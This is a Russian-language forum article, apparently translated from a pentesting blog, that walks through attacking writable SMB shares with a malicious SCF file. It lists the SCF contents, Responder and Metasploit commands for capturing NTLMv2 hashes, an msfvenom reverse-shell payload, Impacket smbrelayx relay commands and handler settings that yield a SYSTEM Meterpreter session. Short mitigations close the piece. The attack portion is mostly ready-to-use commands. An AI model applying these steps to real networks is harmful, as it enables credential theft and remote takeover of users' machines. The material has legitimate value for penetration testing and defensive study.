• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Гостевая статья SMB Share - SCF File Attacks

SMB - это протокол, который широко используется в организациях для обмена файлами. Во время внутренних тестов на проникновение нередко обнаруживают общий файловый ресурс, который содержит конфиденциальную информацию, такую как текстовые пароли и строки подключения к базе данных. Однако даже если общий файловый ресурс не содержит каких-либо данных, которые можно было бы использовать для подключения к другим системам, но он настроен с разрешениями на запись для неаутентифицированных пользователей, то можно получить хэши паролей пользователей домена или оболочку Meterpreter.

Сбор хешей
Не ново, что файлы SCF (Shell Command Files) могут использоваться для выполнения ограниченного набора операций, таких как показ рабочего стола Windows или открытие проводника Windows. Однако файл SCF можно использовать для доступа к определенному пути UNC, который позволяет тестеру проникновения выстроить атаку. Приведенный ниже код можно поместить в текстовый файл, который затем необходимо поместить в общий сетевой ресурс.

Код:
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

scf-file-contents.png

Файл SCF - Содержание

Сохранение файла pentestlab.txt в виде файла SCF приведет к выполнению файла при просмотре файла пользователем. Добавление символа @ перед именем файла поместит файл pentestlab.scf в верхнюю часть общего диска.

scf-file.png

Файл SCF

Ответчик должен быть выполнен со следующими параметрами, чтобы захватить хеши пользователей, которые будут просматривать общий ресурс.

Код:
responder -wrf --lm -v -I eth0

responder-parameters-for-scf.png

Респондент - Параметры для SCF

Когда пользователь просматривает общий ресурс, автоматически устанавливается соединение из его системы по пути UNC, который содержится в файле SCF. Windows попытается пройти аутентификацию на этом ресурсе с помощью имени пользователя и пароля пользователя. Во время этого процесса аутентификации случайный 8-байтовый ключ вызова отправляется с сервера клиенту, и хешированный пароль NTLM / LANMAN снова шифруется с помощью этого ключа вызова. Респондент захватит хэш NTLMv2.

responder-ntlmv2-via-scf.png

Ответчик - NTLMv2 через SCF

В качестве альтернативы Responder в Metasploit Framework есть модуль, который можно использовать для захвата хэшей паролей «запрос-ответ» от клиентов SMB.

Код:
auxiliary/server/capture/smb

metasploit-capture-smb-module.png

Metasploit - модуль захвата SMB

Как и ранее, когда пользователь будет просматривать ту же общую папку, его хэш пароля будет перехвачен Metasploit.

metasploit-ntlmv2-captured.png

Metasploit - NTLMv2 захвачен

Если политика паролей внутри компании достаточна, злоумышленнику потребуется несколько дней или недель, чтобы взломать захваченный хеш.

В Meterpreter
Основное преимущество описанного выше метода заключается в том, что он не требует какого-либо взаимодействия с пользователем и автоматически заставляет пользователя подключаться к общему ресурсу, не согласовав его хэш NTLMv2. Поэтому также возможно объединить этот метод с ретрансляцией SMB, которая будет обслуживать полезную нагрузку, чтобы получить оболочку Meterpreter от каждого пользователя, который будет иметь доступ к общему ресурсу.

MSFVenom может использоваться для генерации полезной нагрузки, которую он будет выполнять на цели:

Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > pentestlab.exe

msfvenom-payload-generation-for-smb-relay.png

MSFVenom - Генерация полезной нагрузки для SMB Relay

Coresecurity выпустила набор скриптов Python под названием Impacket, которые могут выполнять различные атаки на протоколы Windows, такие как SMB. С помощью скрипта Python smbrelayx можно настроить и SMB-сервер, который будет обслуживать полезную нагрузку, когда целевой хост попытается подключиться. Это будет выполнено автоматически, поскольку SCF-файл заставит каждого пользователя подключаться к несуществующему общему ресурсу со своими учетными данными.

Код:
./smbrelayx.py -h Target-IP -e ./pentestlab.exe

impacket-smb-relay-server.png

Impacket - сервер ретрансляции SMB

Необходимо также использовать Metasploit Framework, чтобы получить обратно соединение после выполнения файла pentestlab.exe на целевом устройстве.

Код:
exploit/multi/handler

Модуль должен быть настроен с теми же параметрами, что и сгенерированная полезная нагрузка.

Код:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit

metasploit-multi-handler-module-for-smb-relay.png

Metasploit - Многофункциональный модуль

Когда пользователь просматривает общий ресурс, SMB-сервер получит соединение и будет использовать имя пользователя и хэш пароля для аутентификации в своей системе и выполнения полезной нагрузки для общего ресурса с возможностью записи.

impacket-smb-relay-attack.png

Impacket - SMB Relay Attack

Сеанс Meterpreter будет получен. Однако во избежание потери соединения необходимо перейти на более стабильный процесс.

meterpreter-list-running-processes.png

Meterpreter - список запущенных процессов

Необходимо использовать команду migrate и идентификатор процесса.

meterpreter-process-migration.png

Meterpreter - процесс миграции

В этом примере процесс 1600 соответствует процессу svchost.exe, который выполняется с привилегиями SYSTEM.

meterpreter-list-of-processes-for-migrate.png

Meterpreter - список процессов для миграции

Запуск getuid из Meterpreter консоли будет получить текущий UID , который теперь SYSTEM.

meterpreter-retrieve-current-uid.png

Meterpreter - Получить текущий UID

Та же атака может быть реализована с помощью инфраструктуры Metasploit.

Код:
exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
exploit

metasploit-smb-relay-module.png

Metasploit - модуль реле SMB

Будет установлен SMB-сервер, который будет аутентифицироваться с целью с использованием имени пользователя и хэша пароля, доставить полезную нагрузку на доступный для записи общий ресурс, выполнить полезную нагрузку с правами пользователя в качестве службы, выполнить очистку и провести сеанс Meterpreter.

metasploit-smb-relay-attack.png

Metasploit - SMB Relay Attack

Взаимодействие с существующими сеансами может осуществляться с помощью команды сеансов .

metasploit-smb-relay-sessions.png

Metasploit - Ретрансляции SMB

Вывод
Этот метод использует то, что действительно распространено во всех сетях, таких как общие ресурсы, для получения хэшей паролей и получения оболочек meterpreter. Единственное требование заключается в том, что пользователю необходимо просмотреть общий ресурс, содержащий вредоносный файл SCF. Однако эти атаки можно предотвратить, выполнив следующие действия:

  • Использование аутентификации Kerberos и подписи SMB
  • Запретить разрешения на запись в общих файловых ресурсах для не прошедших проверку пользователей
  • Убедитесь, что вместо LanMan используется хэш пароля NTLMv2
Источник:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!